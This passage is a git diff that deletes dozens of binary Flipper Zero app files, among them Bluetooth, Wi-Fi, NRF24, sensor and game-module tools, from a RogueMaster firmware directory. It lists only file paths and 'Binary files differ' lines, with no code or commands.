diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap deleted file mode 100644 index 315782905..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/ble_spam.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap deleted file mode 100644 index de3fcd54d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/bt_trigger.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap deleted file mode 100644 index 0858c0d36..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/cookie_clicker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap deleted file mode 100644 index 8052966ee..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/findmy.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap deleted file mode 100644 index ca0ee1123..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/hid_ble.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap deleted file mode 100644 index 7b5085c4c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/pc_monitor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap deleted file mode 100644 index 1bfd73864..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/remote_kodi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap b/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap deleted file mode 100644 index 0eb28c57b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/Bluetooth/wendigo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap deleted file mode 100644 index bcf031e2a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/401_light_msg.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap deleted file mode 100644 index ff0edd83a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/avr_flasher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap deleted file mode 100644 index 064d9c442..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/dap_link.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap deleted file mode 100644 index 65c33e9ba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/eth_troubleshooter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap deleted file mode 100644 index d295f3699..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/i2c_tools.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap deleted file mode 100644 index 2d7b19fa0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/spi_mem_manager.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap deleted file mode 100644 index 763834648..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Debug/swd_probe.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap deleted file mode 100644 index 90f8171c2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ble_killer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap deleted file mode 100644 index 606b6fdf9..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_camera.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap deleted file mode 100644 index 68ab58eb5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_marauder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap deleted file mode 100644 index 193dabb21..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_morse_flasher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap deleted file mode 100644 index 4bd210453..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_motion.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap deleted file mode 100644 index b1411b734..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_nannycam.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap deleted file mode 100644 index b99de4917..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/cam_qrcode.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap deleted file mode 100644 index c5595fddb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/camera_suite.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap deleted file mode 100644 index 422e33611..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_camera.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap deleted file mode 100644 index 2f6b31757..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp32_gravity.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap deleted file mode 100644 index 9d91d348a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/esp_flasher.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap deleted file mode 100644 index 74f9511e2..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/evil_portal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap deleted file mode 100644 index 56f204e7e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_library.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap deleted file mode 100644 index c65fb1fe4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_rpi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap deleted file mode 100644 index b36864bcc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_social.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap deleted file mode 100644 index d9e57b1f4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_store.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap deleted file mode 100644 index f25aeec96..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_trader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap deleted file mode 100644 index 30916f289..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_weather.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap deleted file mode 100644 index df3c3c058..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_wifi.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap deleted file mode 100644 index 90e8a14d1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/flip_world.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap deleted file mode 100644 index a78372d74..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/gemini_ia.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap deleted file mode 100644 index 704c82211..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/ghost_esp.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap deleted file mode 100644 index 94dd55534..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/postman.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap deleted file mode 100644 index ad3612f3b..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wardriver.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap deleted file mode 100644 index 2ef14a7f1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/web_crawler.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap deleted file mode 100644 index 34a5dd04d..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_mapping.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap deleted file mode 100644 index 41ff235fa..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP32/wifi_marauder.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap deleted file mode 100644 index 396ae71cc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/deauther.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap deleted file mode 100644 index 37e3b27a1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/ifttt_button.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap deleted file mode 100644 index 3dff02b03..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_deauther_v2.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap deleted file mode 100644 index 9cf6422cc..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/ESP8266/wifi_scanner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap deleted file mode 100644 index 9326e8b2f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_blinky.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap deleted file mode 100644 index 9a21e070f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_keyboard.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap deleted file mode 100644 index 18d33dabb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_signal.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap deleted file mode 100644 index faa82d424..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/FlipBoard/flipboard_simon_rm.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap deleted file mode 100644 index 588d41196..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/gb_printer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap deleted file mode 100644 index 3aa719b0f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_cartridge.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap deleted file mode 100644 index 339efbf2c..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_emulator.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap deleted file mode 100644 index 024cdde2a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_link_camera.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap deleted file mode 100644 index 88d356320..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_live_camera.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap deleted file mode 100644 index adb4e5cf6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gb_photo.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap deleted file mode 100644 index 76b926ec0..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_gba_cartridge.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap deleted file mode 100644 index 0e0326ea4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/MALVEKE/malveke_pin_test.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap deleted file mode 100644 index 856c20ca1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/azerty_mouse_jacker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap deleted file mode 100644 index b9b136431..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/batch.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap deleted file mode 100644 index 5edd99844..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/channel_scan.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap deleted file mode 100644 index c1fec9f17..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap deleted file mode 100644 index 38123e389..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/mouse_jacker_ms.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap deleted file mode 100644 index d67e00cfb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/nrf24_jammer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap deleted file mode 100644 index 5f26dbdf1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/scanner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap deleted file mode 100644 index 3df7d1eca..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap deleted file mode 100644 index 4322860cb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/NRF24/sniffer_ms.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap deleted file mode 100644 index 5a4782bba..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/atomicdiceroller.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap deleted file mode 100644 index f455ddce5..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/bh1750_lightmeter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap deleted file mode 100644 index 1b1b55890..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/gas_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap deleted file mode 100644 index 4a0130584..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/hc_sr04_dist_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap deleted file mode 100644 index 3cc2d5e21..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/j305_geiger_coutner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap deleted file mode 100644 index 40087b639..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/max31855.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap deleted file mode 100644 index eab42ca7a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mh_z19_co2_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap deleted file mode 100644 index 77f04505a..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mhz19_uart.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap deleted file mode 100644 index fa83c153f..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/mx2125_accelerometer.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap deleted file mode 100644 index 49a5efdf1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/plantower_pmsx003_sensor_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap deleted file mode 100644 index f639f37e1..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radar_scanner.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap deleted file mode 100644 index 1903238f3..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/radiation_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap deleted file mode 100644 index d995a8674..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/rcwl_0516_motion_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap deleted file mode 100644 index d6155a3be..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/sleep_counter.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap deleted file mode 100644 index 8a27ea34e..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/temp_sensors_reader.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap deleted file mode 100644 index aa22ca0d6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/Sensors/usping_dist_sensor.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap deleted file mode 100644 index b40fc3679..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_arkanoid.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap deleted file mode 100644 index afda2c7bb..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/air_labyrinth.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap deleted file mode 100644 index 04776a6a4..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/vgm_air_mouse.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap deleted file mode 100644 index 15f5debf6..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/VGM/video_game_module_tool.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap b/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap deleted file mode 100644 index ae43b9cad..000000000 Binary files a/Applications/Custom (UL, RM)/RogueMaster/GPIO/analog_output.fap and /dev/null differ diff --git a/Applications/Custom (UL, RM)/RogueMaster/GPIO/battery_checker.fap 